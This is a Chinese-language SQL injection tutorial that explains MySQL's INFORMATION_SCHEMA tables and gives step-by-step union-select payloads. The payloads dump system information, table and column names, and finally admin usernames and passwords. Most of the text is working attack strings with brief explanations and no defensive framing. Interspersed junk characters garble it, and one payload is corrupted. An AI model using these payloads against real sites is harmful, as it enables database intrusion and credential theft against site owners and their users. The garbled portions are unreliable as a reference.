本文介绍MYSQL盲注的一些语句和方法
9 k: s$ \0 [; O9 c# A! l9 D3 ?; ]1 h# c
学习盲注前先了解下 IFORMATION_SCHEMA 库
4 D$ K. T* d1 [& g- q9 g$ y; |/ b
% K1 N% S' _$ G( T* CMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有! P& t5 v; n: [4 h" L
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。* J, a# P* }' w8 w9 c; K) ^
1.得到所有数据库名:- ^3 h! [2 v# h5 O; ?- _- E6 U
|SCHEMATA ->存储数据库名的表
$ B7 `+ w5 S" E1 n|---字段:SCHEMA_NAME ->数据库名称0 R5 l4 t( m; \% y: c* u8 {
3 A, N7 n* ?6 x4 S9 R
|TABLES ->存储表名
' \9 a! Q$ v) [9 ?3 e3 G|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
2 ]( K1 {. w: b4 t% `9 Y|---字段:TABLE_NAME ->存储表的表名, V/ t( r4 e( Y9 l/ x$ }) I
# o% [2 `' f T5 b; P3 e
|COLUMNS ->存储的字段名表% W6 r& Q( D& H! }& m. C
|---字段:TABLE_SCHEMA ->该字段所属数据库名
$ d# ~$ A7 `+ _5 ~ ^|---字段:TABLE_NAME ->存储所属表的名称/ U" [( k" K0 d. K1 Z$ O
1 Q g S7 ^- ~' w
|---字段:COLUMN_NAME ->该字段的名称$ q$ E. t' k3 R
* j# K t; c* k9 g. J7 o( g. {5 ~
- }8 B, J7 \; Z) S1 s6 |' G) i$ C" i, X, T3 a( j
###########################################################################
) z `5 ~6 W5 E. T' c) ]' n' ]0 G/ G: V m6 o0 n+ v0 C. |9 U
0x001 获取系统信息:- Z* @+ v7 N. r: Y* j6 t3 u6 ^5 l- l
y/ F5 ^) r# }9 ~9 J. Z- z
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
5 D5 G& ^0 ]8 d8 K1 ^4 n; k) W+ U
- e4 ]+ F+ {& Q9 U) H/*
/ ]3 [- F/ i( l! o- s# t/ X1 G& c5 ]2 s, w- u
@@global.version_compile_os 获取系统版本( ~4 o9 E2 b% b
: X' m8 E* z3 _* x) c8 x5 ~@@datadir 数据库路径
3 T0 J/ Z, t/ p3 s* Odatabase() 当前数据库名称/ |: c' r. H$ t
0x3c62723e 换行HEX值) }+ g9 B6 h* ^; L. _3 j
$ v1 x0 f- ~: T5 l4 F( d6 D
*/
9 @+ I$ T) v7 I' Q* g- F1 v( O
# K% Z& n8 @) i" M k; L) i6 ], C, b5 e
/ @0 P- r* d9 D6 p; ^$ q/ m
######################################################################
; d) _9 J2 C1 h2 s! @* k5 ^2 e Z
" I& E' t. O( a' ^0x002 获取表名- A9 {" n4 {$ o1 F
; R5 k9 L2 b* `- I0 F" Funion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
. p7 z, e, N( B- a( H) N# I5 m- _
, i4 x# c5 ^* o' S- G: Z 5 o8 X1 r( P) \' ~* f. ~8 }
# A: ` `+ }% G- {% z) S/*
: G. \! z& ]. i: ?2 n2 ^
$ J. w4 `% q2 r9 q2 x# w6 _1 R0x67617264656e 为当前数据库名9 e7 G) i3 @4 Z0 G6 B1 ~
% K( a. _! K- ?- s' P9 b5 U: Y! a/ Tgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名' O2 K$ P, w2 ~# }! P6 q
" Z! @& L9 w, R$ [5 \2 o0 ^+ _*/
9 T! M" t- G* c- ~) d; {$ V- g, h- N/ P( {' Y( Z& M' z9 Y
######################################################################; q. t+ Z) ?/ ]4 O/ r
& Z# w* j& P+ p) r
( q( ^1 h- ~2 i2 t% v+ G3 D4 y
( @6 L; q2 U4 G. m4 D% Z0x003 获取字段
" q% i# V2 |( o2 x2 q! s. t5 ]' h$ c8 c8 {8 u
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*+ y# G+ p6 c' P9 {
/ V1 s* E# C% K# ^$ m7 v6 J
/* C" `$ E" u" }; D# V0 N! V
2 z# g/ d3 T% u" ~6 h* F- v
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
6 M b* Q& K1 r
, J, Y! i! h/ A1 U3 i6 W! ?0x61646d696e ->选择一个表. R' @) z, \1 b( w' G9 Q7 R
! ?5 K& i/ x+ b6 F. k5 e' F8 s! T0x67617264656e ->数据库名
; |; C2 E2 L& k- ?+ ^, z8 o! F+ j* }# E2 a6 g
*/
8 j$ w) O* {5 s! A) T: |/ q3 k7 Y( J
+ w- y) z" |7 j. B( E#####################################################################
0 V9 m5 U6 X& i' I- r( v8 ^5 S e# G4 {3 i7 ^+ Y! P
K0 q" B3 X( s* ?+ _1 x
- h1 r! |/ c( M& E* |0x004 获取数据7 L {6 _4 p0 z) m! y5 J- D9 y
c+ D3 A* o& j6 a2 u9 Z
union select 1,2,3( d# j% Z8 D/ X0 g
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin _/ r6 `8 q2 ^% E Y( o( W
2 b7 m1 X7 A$ Z( G0 t. r; T
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin) ~# l q: ^) [+ \, x8 d/ S
/ p! A1 F; x l
! M/ ]; h4 c* P& e, E
2 m) j+ }" {; ]5 t6 E. ~/*
7 }5 k* F" L8 G/ H* T# ~
- U% H( r+ a9 j ? v' r' o0x3c62723e 换行符号HEX编码0 c8 k5 J& k/ ^6 h( z, i* {8 N
1 i! _0 [5 x t8 J; Kgroup_concat 同时获得该字段所有数据/ J( L3 t) g' l; E
, k4 ]1 G3 m9 B, L
*/; y9 \; f* o3 a4 b, C6 X
1 F7 I- m5 i* e. G. F1 |3 @2 l) e- E |